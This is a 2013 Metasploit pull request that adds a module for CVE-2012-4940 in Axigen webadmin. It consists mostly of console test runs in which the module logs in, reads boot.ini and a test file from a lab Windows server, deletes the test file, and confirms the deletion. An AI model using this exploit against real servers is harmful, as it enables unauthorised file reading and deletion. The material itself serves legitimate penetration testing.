rapid7/metasploit-framework — pull request #1585 by jvazquez-r7 (2013-03-13 10:55:25+00:00)
Title: Added module for CVE-2012-4940

Tested successfully on Windows 2003 SP2 (Axigen 8.10). Vuln only known to work on Windows.

* Read test:

```
msf auxiliary(axigen_file_access) > show options

Module options (auxiliary/admin/http/axigen_file_access):

Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 4 yes Traversal depth if absolute is set to false
PASSWORD yes The password to authenticate with
PATH \boot.ini yes The file to read or delete
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 9000 yes The target port
TARGETURI / yes Path to Mutiny Web Service
USERNAME admin yes The user to authenticate as
VHOST no HTTP server virtual host

msf auxiliary(axigen_file_access) > set RHOST 192.168.1.134
RHOST => 192.168.1.134
msf auxiliary(axigen_file_access) > set PASSWORD password
PASSWORD => password
msf auxiliary(axigen_file_access) > run

[*] 192.168.1.134:9000 - Trying to login
[+] 192.168.1.134:9000 - Login successful
[*] 192.168.1.134:9000 - Retrieving platform
[+] 192.168.1.134:9000 - Windows platform found
[*] 192.168.1.134:9000 - Retrieving file contents...
[+] 192.168.1.134:9000 - File successfully retrieved and saved on /Users/juan/.msf4/loot/20130313114606_default_192.168.1.134_axigen.webadmin._280584.ini
[*] Auxiliary module execution completed
msf auxiliary(axigen_file_access) > cat /Users/juan/.msf4/loot/20130313114606_default_192.168.1.134_axigen.webadmin._280584.ini
[*] exec: cat /Users/juan/.msf4/loot/20130313114606_default_192.168.1.134_axigen.webadmin._280584.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect

```

* Delete test (read a file, delete it, read again (no success, file deleted)):

```
msf auxiliary(axigen_file_access) > set PATH \\test.txt
PATH => \test.txt
msf auxiliary(axigen_file_access) > run

[*] 192.168.1.134:9000 - Trying to login
[+] 192.168.1.134:9000 - Login successful
[*] 192.168.1.134:9000 - Retrieving platform
[+] 192.168.1.134:9000 - Windows platform found
[*] 192.168.1.134:9000 - Retrieving file contents...
[+] 192.168.1.134:9000 - File successfully retrieved and saved on /Users/juan/.msf4/loot/20130313114649_default_192.168.1.134_axigen.webadmin._513801.txt
[*] Auxiliary module execution completed
msf auxiliary(axigen_file_access) > cat /Users/juan/.msf4/loot/20130313114649_default_192.168.1.134_axigen.webadmin._513801.txt
[*] exec: cat /Users/juan/.msf4/loot/20130313114649_default_192.168.1.134_axigen.webadmin._513801.txt

pwnedmsf auxiliary(axigen_file_access) > set Action Delete
Action => Delete
msf auxiliary(axigen_file_access) > run

[*] 192.168.1.134:9000 - Trying to login
[+] 192.168.1.134:9000 - Login successful
[*] 192.168.1.134:9000 - Retrieving platform
[+] 192.168.1.134:9000 - Windows platform found
[*] 192.168.1.134:9000 - Deleting file \test.txt
[+] 192.168.1.134:9000 - File \test.txt deleted
[*] Auxiliary module execution completed
msf auxiliary(axigen_file_access) > set Action Read
Action => Read
msf auxiliary(axigen_file_access) > run

[*] 192.168.1.134:9000 - Trying to login
[+] 192.168.1.134:9000 - Login successful
[*] 192.168.1.134:9000 - Retrieving platform
[+] 192.168.1.134:9000 - Windows platform found
[*] 192.168.1.134:9000 - Retrieving file contents...
[-] 192.168.1.134:9000 - Failed to retrieve file
[*] Auxiliary module execution completed

```